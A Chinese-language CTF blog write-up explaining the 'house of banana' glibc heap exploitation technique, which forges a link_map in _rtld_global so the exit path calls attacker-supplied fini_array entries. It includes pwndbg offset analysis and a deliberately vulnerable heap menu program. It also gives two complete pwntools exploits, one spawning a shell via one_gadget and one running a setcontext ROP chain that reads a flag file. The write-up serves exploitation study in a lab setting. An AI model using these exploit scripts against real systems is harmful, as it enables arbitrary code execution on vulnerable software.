0x00 前脚算是梳理了一下exit
的攻击点,想到house of banana
是攻击rtld_global
结构体,正是对前面梳理的exit
攻击点的利用,于是也就记录一下
0x01 house of banana 原理 详细见关于exit的利用以及一个程序的开始到结束 | r3t2’s blog 中关于_rtld_global
结构体攻击点的叙述
1 _rtld_global -> _ns_loaded -> link_map -> ((fini_t) array[i]) ()
house of banana
的攻击思路大概就是向_rtld_global
结构体中的_ns_loaded
写入一个堆地址,在堆中伪造出一个link_map
结点。有哪些检查呢?把_dl_fini
中的检查翻出来(glibc2.35)先是
1 assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL );
这保证了:如果nloaded == 0
,则_ns_loaded == NULL
;如果_ns_loaded != NULL
,则nloaded != 0
,就是link_map
链表头和链表节点数量的状态的一致性检查,同时发现nloaded
不为0以及_ns_loaded
为NULL是能通过的,大概因为_ns_loaded
都为NULL了,nloaded
也没啥意义了。我们总结这不需要我们特地去绕过 接着是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for (l = GL(dl_ns)[ns]._ns_loaded, i = 0 ; l != NULL ; l = l->l_next) if (l == l->l_real) { assert (i < nloaded); maps[i] = l; l->l_idx = i; ++i; ++l->l_direct_opencount; } assert (ns != LM_ID_BASE || i == nloaded); assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1 );
总结一下,要求l == l->real
,其他在我们的攻击中不会设计,同时在_dl_close
中我们发现
1 2 3 4 5 6 7 8 9 10 int idx = 0 ; for (struct link_map *l = ns->_ns_loaded; l != NULL ; l = l->l_next) { l->l_map_used = 0 ; l->l_map_done = 0 ; l->l_idx = idx; maps[idx] = l; ++idx; } assert (idx == nloaded);
这要求link_map
实际结点数必须匹配nloaded
,所以我们nloaded
最好不修改,且为了方便绕过这个检查,我们直接在link_map
链表的第三个结点的l_next
写入堆地址来伪造成第四个结点,又或者是我们伪造第一个结点后,将l_next
设置为正常情况下的第二个结点,我们这里分析后者(接下来的调试都是glibc2.35 下)
1 2 3 4 5 6 7 8 9 10 11 pwndbg> p &_rtld_global $1 = (struct rtld_global *) 0x7ffff7ffd040 <_rtld_global> pwndbg> tele 0x7ffff7ffd040 00:0000│ r15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f 01:0008│ 0x7ffff7ffd048 (_rtld_global+8) ◂— 4 02:0010│ 0x7ffff7ffd050 (_rtld_global+16) —▸ 0x7ffff7ffe5a0 —▸ 0x7ffff7fbb690 —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— ... 03:0018│ 0x7ffff7ffd058 (_rtld_global+24) ◂— 0 04:0020│ 0x7ffff7ffd060 (_rtld_global+32) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7c00000 ◂— 0x3010102464c457f 05:0028│ 0x7ffff7ffd068 (_rtld_global+40) ◂— 0 06:0030│ 0x7ffff7ffd070 (_rtld_global+48) ◂— 0 07:0038│ 0x7ffff7ffd078 (_rtld_global+56) ◂— 1
这样查看地址后计算偏移即可,看需要伪造的l_next
偏移
1 2 pwndbg> distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_next) 0x7ffff7ffe2e0->0x7ffff7ffe2f8 is 0x18 bytes (0x3 words)
为0x18
,需要填入第二个结点的地址 我们看l_real
的偏移
1 2 pwndbg> distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_real) 0x7ffff7ffe2e0->0x7ffff7ffe308 is 0x28 bytes (0x5 words)
为0x28
,需要填入我们伪造的堆地址 然后是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 for (i = 0 ; i < nmaps; ++i) { struct link_map *l = maps[i]; if (l->l_init_called) { l->l_init_called = 0 ; if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL )) { if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0 )) _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n" , DSO_FILENAME (l->l_name), ns); if (l->l_info[DT_FINI_ARRAY] != NULL ) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0 ) ((fini_t ) array [i]) (); } if (ELF_INITFINI && l->l_info[DT_FINI] != NULL ) DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr); } #ifdef SHARED _dl_audit_objclose (l); #endif } --l->l_direct_opencount; }
这一段我们抽出检查部分
1 2 3 4 if (l->l_init_called)if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL )) if (l->l_info[DT_FINI_ARRAY] != NULL )
最先是l_init_called
的检查,找到其类型
1 unsigned int l_init_called:1 ;
在结构体里,可以用 冒号 :
指定某个成员只占用若干 bit
,这个l_init_called
类型为unsigned int
,但是只占1bit
, 理论上设置为1 即可,稳妥起见我们看一下完整位域
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 unsigned int l_relocated:1 ; unsigned int l_init_called:1 ; unsigned int l_global:1 ; unsigned int l_reserved:2 ; unsigned int l_main_map:1 ; unsigned int l_visited:1 ; unsigned int l_map_used:1 ; unsigned int l_map_done:1 ; unsigned int l_phdr_allocated:1 ; unsigned int l_soname_added:1 ; unsigned int l_faked:1 ; unsigned int l_need_tls_init:1 ; unsigned int l_auditing:1 ; unsigned int l_audit_any_plt:1 ; unsigned int l_removed:1 ; unsigned int l_contiguous:1 ; unsigned int l_symbolic_in_local_scope:1 ; unsigned int l_free_initfini:1 ; unsigned int l_ld_readonly:1 ; unsigned int l_find_object_processed:1 ;
这里l_init_called
和他附近的unsigned int
成员共用四字节,我们无法单独设置其为1,最多单独设置一字节为1
1 2 3 4 pwndbg> distance _rtld_global._dl_ns[0]._ns_loaded &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called 0x7ffff7ffe2e0->0x7ffff7ffe5fc is 0x31c bytes (0x63 words) pwndbg> p (_rtld_global._dl_ns[0]._ns_loaded)->l_init_called $4 = 1
偏移0x31c
,值为1 ,这个偏移是l_init_called
所处的unsigned int
的偏移,那么在偏移0x31c
处设置p8(0x8)
即可 需要注意的是,这个偏移不同版本可能不一致 接着就是我们伪造l_info
时候的检查了,此前已经分析过,DT_FINI_ARRAY
的值为26,DT_FINI_ARRAYSZ
为28,我们修改伪造的link_map
结点中的l_info[0x1a]
为addrA
, 修改l_info[0x1c]
为addrB
,然后布置
1 2 addrA: flat(0x1a, addrC) addrB: flat(0x1c, N)
也就伪造好了fini_array
,addrC
写入需要执行的函数(我们设置l_addr
为0 ),而这里的N
就写需要执行的函数数*8即可。我们看一下偏移方便伪造
1 2 3 4 5 6 pwndbg> distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26]) 0x7ffff7ffe2e0->0x7ffff7ffe3f0 is 0x110 bytes (0x22 words) pwndbg> distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28]) 0x7ffff7ffe2e0->0x7ffff7ffe400 is 0x120 bytes (0x24 words) pwndbg> distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_addr) 0x7ffff7ffe2e0->0x7ffff7ffe2e0 is 0x0 bytes (0x0 words)
l_info[26]
和l_info[28]
分别是0x110
和0x120
,而l_addr
在最开头处。 最后总结一下绕过的攻击手法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 向 &_rtld_global写入堆地址chunk_addr | 设置l_addr == 0; 即 chunk_addr 写入0 (一般不用管都是0,因为是chunk的pre_size字段) | 恢复l_next为正常情况下的值; 即 chunk_addr+0x18 写入link_map链表第二个结点地址 | 设置l == l_real; 即 chunk_addr+0x28 写入chunk_addr | 伪造l_info[26]; 即 chunk_addr+0x110 写入chunk_addr+0x40,然后 chunk_addr+0x40 写入0x1a,chunk_addr+0x48 写入chunk_addr+0x58,最后在 chunk_addr+0x58 写入ogg | 伪造l_info[28]; 即 chunk_addr+0x120 写入chunk_addr+0x60, 然后 chunk_addr+0x60 写入0x1c,chunk_addr+0x68 写入 0x8 | 设置l_init_called; 即 chunk_addr+0x31c 写入1
最后布局如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 chunk_addr │ ├── [0x000] l_addr = 0 # prev_size域 (可忽略,一般就是0) │ ├── [0x018] l_next = &link_map[2] (示意,第二个结点地址) | ├── [0x028] l_real = chunk_addr │ ├── [0x040] l_info[26] entry │ ├── [0x040] tag = 0x1a (DT_FINI_ARRAY) │ ├── [0x048] val = chunk_addr+0x58 │ ├── [0x058] ogg (函数地址) │ ├── [0x060] l_info[28] entry │ ├── [0x060] tag = 0x1c (DT_FINI_ARRAYSZ) │ ├── [0x068] val = 0x8 (size) │ ├── [0x110] l_info[26] 指针 = chunk_addr+0x40 ├── [0x120] l_info[28] 指针 = chunk_addr+0x60 │ └── [0x31c] l_init_called = 1
有时候远程的 _rtld_global
的偏移与本地不一样,可能会在地址的第2字节处发生变化,因此可以爆破256种可能得到远程环境的精确偏移 我们这里其实劫持了fini_array
,其实不仅仅可以执行一个函数,而是可以call
多次,可以结合setcontext
打ROP
来进行orw
0x02 动手 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 #include <stdio.h> #include <unistd.h> #define num 10 void *chunk_list[num];int chunk_size[num];void init () { setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); } void menu () { puts ("1.add" ); puts ("2.show" ); puts ("3.edit" ); puts ("4.delete" ); puts ("5.exit" ); puts ("Your choice:" ); } int add () { int index,size; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); puts ("Size:" ); scanf ("%d" ,&size); if (size<0x80 ||size>0x500 ) exit (1 ); chunk_list[index] = calloc (size,1 ); chunk_size[index] = size; } int edit () { int index; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); puts ("context: " ); read(0 ,chunk_list[index],chunk_size[index]); } int delete () { int index; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); free (chunk_list[index]); } int show () { int index; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); puts ("context: " ); puts (chunk_list[index]); } int main () { int choice; init(); while (1 ){ menu(); scanf ("%d" ,&choice); if (choice==5 ){ exit (0 ); } else if (choice==1 ){ add(); } else if (choice==2 ){ show(); } else if (choice==3 ){ edit(); } else if (choice==4 ){ delete(); } } }
根据这个编译为glibc2.27
,largebin attack
打house of banana
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6_2.27-3ubuntu1.6_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6-dbg_2.27-3ubuntu1.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/glibc-source_2.27-3ubuntu1.6_all/usr/src/glibc/glibc-2.27 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) def add (index,size ): io.sendlineafter('Your choice:\n' , str (1 )) io.sendlineafter('index:\n' , str (index)) io.sendlineafter("Size:\n" , str (size)) def show (index ): io.sendlineafter('Your choice:\n' , str (2 )) io.sendlineafter('index:\n' , str (index)) def edit (index, content ): io.sendlineafter('Your choice:\n' , str (3 )) io.sendlineafter('index:\n' , str (index)) io.sendafter("context: \n" ,content) def free (index ): io.sendlineafter('Your choice:\n' , str (4 )) io.sendlineafter('index:\n' , str (index)) def pwn (): add(0 , 0x428 ) add(1 , 0x500 ) add(2 , 0x418 ) free(0 ) add(3 , 0x500 ) show(0 ) io.recvuntil('context: \n' ) libc_base = u64(io.recv(6 ).ljust(8 , b'\x00' )) - 0x3ec090 edit(0 , b'a' *0x10 ) show(0 ) io.recvuntil(b'a' *0x10 ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x250 log.info("libc_base --> " +hex (libc_base)) log.info("heap_base --> " +hex (heap_base)) rtld_global = libc_base + 0x62a060 one_gadget = libc_base + 0x4f302 free(2 ) edit(0 , p64(libc_base+0x3ec090 )*2 + p64(heap_base+0x250 ) + p64(rtld_global-0x20 )) add(4 , 0x500 ) chunk_addr = heap_base + 0xb90 log.info("chunk_addr --> " +hex (chunk_addr)) link_map = p64(0 ) link_map = link_map.ljust(0x18 - 0x10 , b'\x00' ) + p64(libc_base + 0x62b710 ) link_map = link_map.ljust(0x28 - 0x10 , b'\x00' ) + p64(chunk_addr) link_map = link_map.ljust(0x40 - 0x10 , b'\x00' ) + p64(0x1a ) + p64(chunk_addr + 0x58 ) link_map = link_map.ljust(0x58 - 0x10 , b'\x00' ) + p64(one_gadget) link_map = link_map.ljust(0x60 - 0x10 , b'\x00' ) + p64(0x1c ) + p64(0x8 ) link_map = link_map.ljust(0x110 - 0x10 , b'\x00' ) + p64(chunk_addr + 0x40 ) link_map = link_map.ljust(0x120 - 0x10 , b'\x00' ) + p64(chunk_addr + 0x60 ) link_map = link_map.ljust(0x314 - 0x10 , b'\x00' ) + p8(0x8 ) edit(2 , link_map) io.sendlineafter('Your choice:\n' , str (5 )) io.interactive() io = start() pwn()
最后成功getshell
1 2 3 4 5 6 7 8 [*] Switching to interactive mode $ whoami [DEBUG] Sent 0x7 bytes: b'whoami\n' [DEBUG] Received 0x5 bytes: b'r3t2\n' r3t2 $
这里因为是打本地,所以似乎没有爆破的需要。然后在高版本还可以打一个orw
,利用 setcontext
编译为glibc2.31
打orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6_2.31-0ubuntu9.18_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6-dbg_2.31-0ubuntu9.18_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/glibc-source_2.31-0ubuntu9.18_all/usr/src/glibc/glibc-2.31 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) def add (index,size ): io.sendlineafter('Your choice:\n' , str (1 )) io.sendlineafter('index:\n' , str (index)) io.sendlineafter("Size:\n" , str (size)) def show (index ): io.sendlineafter('Your choice:\n' , str (2 )) io.sendlineafter('index:\n' , str (index)) def edit (index, content ): io.sendlineafter('Your choice:\n' , str (3 )) io.sendlineafter('index:\n' , str (index)) io.sendafter("context: \n" ,content) def free (index ): io.sendlineafter('Your choice:\n' , str (4 )) io.sendlineafter('index:\n' , str (index)) def pwn () : add(0 , 0x428 ) add(1 , 0x500 ) add(2 , 0x418 ) free(0 ) show(0 ) io.recvuntil('context: \n' ) libc_base = u64(io.recv(6 ).ljust(8 , b'\x00' )) - 96 - 0x1ecb80 add(3 , 0x500 ) edit(0 , b'a' *0x10 ) show(0 ) io.recvuntil(b'a' *0x10 ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x290 log.info("libc_base --> " +hex (libc_base)) log.info("heap_base --> " +hex (heap_base)) rtld_global = libc_base + 0x228060 open = libc_base + libc.sym['open' ] read = libc_base + libc.sym['read' ] write = libc_base + libc.sym['write' ] pop_rdi_ret = libc_base + 0x23b6a pop_rsi_ret = libc_base + 0x2601f pop_rdx_r12_ret = libc_base + 0x119431 setcontext = libc_base + libc.sym['setcontext' ] ret = libc_base + 0x22679 free(2 ) edit(0 , b'a' *0x18 + p64(rtld_global-0x20 )) add(4 , 0x500 ) chunk_addr = heap_base + 0xb90 +0x40 log.info("chunk_addr --> " +hex (chunk_addr)) link_map = p64(0 ) link_map = link_map.ljust(0x18 - 0x10 , b'\x00' ) + p64(libc_base + 0x229740 ) link_map = link_map.ljust(0x28 - 0x10 , b'\x00' ) + p64(chunk_addr) link_map = link_map.ljust(0x40 - 0x10 , b'\x00' ) + p64(0x1a ) + p64(chunk_addr + 0x1f8 ) link_map = link_map.ljust(0x60 - 0x10 , b'\x00' ) + p64(0x1c ) + p64(0x10 ) link_map = link_map.ljust(0x110 - 0x10 , b'\x00' ) + p64(chunk_addr + 0x40 ) link_map = link_map.ljust(0x120 - 0x10 , b'\x00' ) + p64(chunk_addr + 0x60 ) link_map = link_map.ljust(0x1f8 - 0x10 , b'\x00' ) + p64(setcontext+61 ) + p64(ret) link_map = link_map.ljust(0x200 - 0x10 + 0x68 , b'\x00' ) + p64(chunk_addr + 0x330 ) link_map = link_map.ljust(0x200 - 0x10 + 0x70 , b'\x00' ) + p64(0 ) link_map = link_map.ljust(0x200 - 0x10 + 0xa0 , b'\x00' ) + p64(chunk_addr + 0x350 ) link_map = link_map.ljust(0x200 - 0x10 + 0xa8 , b'\x00' ) + p64(open ) link_map = link_map.ljust(0x31c - 0x10 , b'\x00' ) + p8(0x8 ) link_map = link_map.ljust(0x330 - 0x10 , b'\x00' ) + b'flag\x00\x00\x00\x00' ropchain = p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + \ p64(chunk_addr + 0x450 ) + p64(pop_rdx_r12_ret) + \ p64(0x30 ) + p64(0 ) + p64(read) + p64(pop_rdi_ret) + \ p64(1 ) + p64(pop_rsi_ret) + p64(chunk_addr + 0x450 ) + \ p64(pop_rdx_r12_ret) + p64(0x30 ) + p64(0 ) + p64(write) link_map = link_map.ljust(0x350 - 0x10 , b'\x00' ) + ropchain edit(2 , link_map) while True : try : io = start() pwn() io.sendlineafter('Your choice:\n' , str (5 ).encode()) io.interactive() break except : io.close() continue